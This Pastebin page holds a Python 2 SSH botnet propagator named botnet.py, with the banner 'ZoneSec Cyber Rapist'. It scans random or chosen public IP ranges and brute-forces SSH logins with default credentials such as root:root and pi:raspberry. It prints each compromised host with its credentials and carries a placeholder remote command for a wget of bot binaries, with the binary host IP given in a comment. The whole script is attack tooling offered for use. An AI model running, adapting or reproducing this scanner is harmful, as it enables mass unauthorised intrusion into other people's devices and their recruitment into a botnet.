Advertisement
Guest User

Untitled

a guest
Apr 27th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.81 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # ulimit -n 999999; ulimit -u 999999
  5. # sysctl -w fs.file-max=100000
  6. # python botnet.py 376 LUCKY x 0 (LUCKY RANGES)
  7. # python botnet.py 376 B 113.53 1 (SCANNER EXAMPLE)
  8. # python botnet.py 376 RAND x all (IP RANDOMIZATION)
  9. # 113.53, 125.26, 125.27, 125,
  10.  
  11. def run(cmd):
  12. subprocess.call(cmd, shell=True)
  13.  
  14. import threading, paramiko, random, socket, time, sys , base64
  15.  
  16. paramiko.util.log_to_file("/dev/null") # silents spam of paramiko
  17.  
  18. files = [ # Binary names
  19. "cvb",
  20. "cvv",
  21. "dsf",
  22. "fdgxc",
  23. "sdf",
  24. "sdfv",
  25. "xnvx",
  26.  
  27. ]
  28.  
  29. website = "185.112.249.142" # Binary Host IP
  30.  
  31. reservedips = [
  32. 'http://127.',
  33. 'http://0',
  34. 'http://10.',
  35. 'http://100.64',
  36. 'http://100.65',
  37. 'http://100.66',
  38. 'http://100.67',
  39. 'http://100.68',
  40. 'http://100.69',
  41. 'http://100.70',
  42. 'http://100.71',
  43. 'http://100.72',
  44. 'http://100.73',
  45. 'http://100.74',
  46. 'http://100.75',
  47. 'http://100.76',
  48. 'http://100.77',
  49. 'http://100.78',
  50. 'http://100.79',
  51. 'http://100.80',
  52. 'http://100.81',
  53. 'http://100.82',
  54. 'http://100.83',
  55. 'http://100.84',
  56. 'http://100.85',
  57. 'http://100.86',
  58. 'http://100.87',
  59. 'http://100.88',
  60. 'http://100.89',
  61. 'http://100.90',
  62. 'http://100.91',
  63. 'http://100.92',
  64. 'http://100.93',
  65. 'http://100.94',
  66. 'http://100.95',
  67. 'http://100.96',
  68. 'http://100.97',
  69. 'http://100.98',
  70. 'http://100.99',
  71. 'http://100.100',
  72. 'http://100.101',
  73. 'http://100.102',
  74. 'http://100.103',
  75. 'http://100.104',
  76. 'http://100.105',
  77. 'http://100.106',
  78. 'http://100.107',
  79. 'http://100.108',
  80. 'http://100.109',
  81. 'http://100.110',
  82. 'http://100.111',
  83. 'http://100.112',
  84. 'http://100.113',
  85. 'http://100.114',
  86. 'http://100.115',
  87. 'http://100.116',
  88. 'http://100.117',
  89. 'http://100.118',
  90. 'http://100.119',
  91. 'http://100.120',
  92. 'http://100.121',
  93. 'http://100.122',
  94. 'http://100.123',
  95. 'http://100.124',
  96. 'http://100.125',
  97. 'http://100.126',
  98. 'http://100.127',
  99. 'http://169.254',
  100. 'http://172.16.',
  101. 'http://172.17.',
  102. 'http://172.18.',
  103. 'http://172.19.',
  104. 'http://172.20.',
  105. 'http://172.21.',
  106. 'http://172.22.',
  107. 'http://172.23.',
  108. 'http://172.24.',
  109. 'http://172.25.',
  110. 'http://172.26.',
  111. 'http://172.27.',
  112. 'http://172.28.',
  113. 'http://172.29.',
  114. 'http://172.30.',
  115. 'http://172.32.',
  116. 'http://192.0.0.0',
  117. 'http://192.0.0.1',
  118. 'http://192.0.0.2',
  119. 'http://192.0.0.3',
  120. 'http://192.0.0.4',
  121. 'http://192.0.0.5',
  122. 'http://192.0.0.6',
  123. 'http://192.0.0.7',
  124. 'http://192.0.2.',
  125. 'http://192.88.99.',
  126. 'http://192.168.',
  127. 'http://198.18.',
  128. 'http://198.19.',
  129. 'http://198.51.100.',
  130. 'http://203.0.113.',
  131. 'http://224.',
  132. 'http://225'
  133. ]
  134.  
  135.  
  136. passwords = [ # perls/la
  137. "root:root",
  138. "root:admin",
  139. "admin:admin",
  140. "ubnt:ubnt"
  141. "root:1234",
  142. "admin:1234",
  143. "guest:guest",
  144. "user:user",
  145. "test:test",
  146. "pi:raspberry",
  147. "vagrant:vagrant"
  148. ]
  149.  
  150. ascii = '\x1b[1;35m'###########################################################################
  151. ascii +=' \r\n'#
  152. ascii +=' ▒███████▒ ▒█████ ███▄ █ ▓█████ ██████ ▓█████ ▄████▄ 0 \r\n'#
  153. ascii +=' ▒ ▒ ▒ ▄▀░▒██▒ ██▒ ██ ▀█ █ ▓█ ▀ ▒██ ▒ ▓█ ▀ ▒██▀ ▀█ \r\n'#
  154. ascii +=' ░ ▒ ▄▀▒░ ▒██░ ██▒▓██ ▀█ ██▒▒███ ░ ▓██▄ ▒███ ▒▓█ ▄ \r\n'#
  155. ascii +=' ▄▀▒ ░▒██ ██░▓██▒ ▐▌██▒▒▓█ ▄ ▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒ \r\n'#
  156. ascii +=' ▒███████▒░ ████▓▒░▒██░ ▓██░░▒████▒▒██████▒▒░▒████▒▒ ▓███▀ ░ \r\n'#
  157. ascii +=' â–‘â–’â–’ â–“â–‘â–’â–‘â–’â–‘ â–’â–‘â–’â–‘â–’â–‘ â–‘ â–’â–‘ â–’ â–’ â–‘â–‘ â–’â–‘ â–‘â–’ â–’â–“â–’ â–’ â–‘â–‘â–‘ â–’â–‘ â–‘â–‘ â–‘â–’ â–’ â–‘ \r\n'#
  158. ascii +=' â–‘â–‘â–’ â–’ â–‘ â–’ â–‘ â–’ â–’â–‘ â–‘ â–‘â–‘ â–‘ â–’â–‘ â–‘ â–‘ â–‘â–‘ â–‘â–’ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–’ \r\n'#
  159. ascii +=' â–‘ â–‘ â–‘ â–‘ â–‘â–‘ â–‘ â–‘ â–’ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ \r\n'#
  160. ascii +=' â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘â–‘ â–‘ \r\n'#
  161. ascii +=' â–‘ â–‘ \r\n'#
  162. ascii +=' ~[ ZoneSec Cyber Rapist.]~ \r\n'#
  163. ascii +='\x1b[0m'##############################################################################
  164.  
  165. print ascii
  166. print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'
  167. if sys.argv[4] == '1':
  168. passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective
  169. if sys.argv[4] == '2':
  170. passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective
  171. if sys.argv[4] == 'perl':
  172. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner
  173. if sys.argv[4] == 'all':
  174. passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
  175.  
  176. ipclassinfo = sys.argv[2]
  177. if ipclassinfo == "A":
  178. ip1 = sys.argv[3]
  179. elif ipclassinfo == "B":
  180. ip1 = sys.argv[3].split(".")[0]
  181. ip2 = sys.argv[3].split(".")[1]
  182. elif ipclassinfo == "C":
  183. ips = sys.argv[3].split(".")
  184. num=0
  185. for ip in ips:
  186. num=num+1
  187. if num == 1:
  188. ip1 = ip
  189. elif num == 2:
  190. ip2 = ip
  191. elif num == 3:
  192. ip3 = ip
  193. class sshscanner(threading.Thread):
  194. global passwords
  195. global ipclassinfo
  196. if ipclassinfo == "A":
  197. global ip1
  198. elif ipclassinfo == "B":
  199. global ip1
  200. global ip2
  201. elif ipclassinfo == "C":
  202. global ip1
  203. global ip2
  204. global ip3
  205. def run(self):
  206. while 1:
  207. try:
  208. while 1:
  209. thisipisbad='no'
  210. if ipclassinfo == "A":
  211. self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  212. elif ipclassinfo == "B":
  213. self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  214. elif ipclassinfo == "C":
  215. self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  216. elif ipclassinfo == "LUCKY":
  217. lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]
  218. self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  219. else:
  220. self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  221. for badip in reservedips:
  222. if badip in self.host:
  223. thisipisbad='yes'
  224. if thisipisbad=='no':
  225. break
  226. self.host=self.host.replace('http://', '')
  227. username='root'
  228. password="0"
  229. port = 22
  230. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  231. s.settimeout(3)
  232. s.connect((self.host, port))
  233. s.close()
  234. ssh = paramiko.SSHClient()
  235. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  236. dobreak=False
  237. for passwd in passwords:
  238. if ":n/a" in passwd:
  239. password=""
  240. else:
  241. password=passwd.split(":")[1]
  242. if "n/a:" in passwd:
  243. username=""
  244. else:
  245. username=passwd.split(":")[0]
  246. try:
  247. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  248. dobreak=True
  249. break
  250. except:
  251. pass
  252. if True == dobreak:
  253. break
  254. badserver=True
  255. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  256. output = stdout.read()
  257. if "inet addr" in output:
  258. badserver=False
  259. websites = [ ]
  260. if badserver == False:
  261. print 'Adding:'+username+'<'+password+'>'+self.host+'|'+str(port)
  262. ssh.exec_command("put ur wget here ignore the shit up top.") #la
  263.  
  264. time.sleep(15)
  265. ssh.close()
  266. except:
  267. pass
  268.  
  269. for x in range(0,int(sys.argv[1])):
  270. try:
  271. t = sshscanner()
  272. t.start()
  273. except:
  274. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement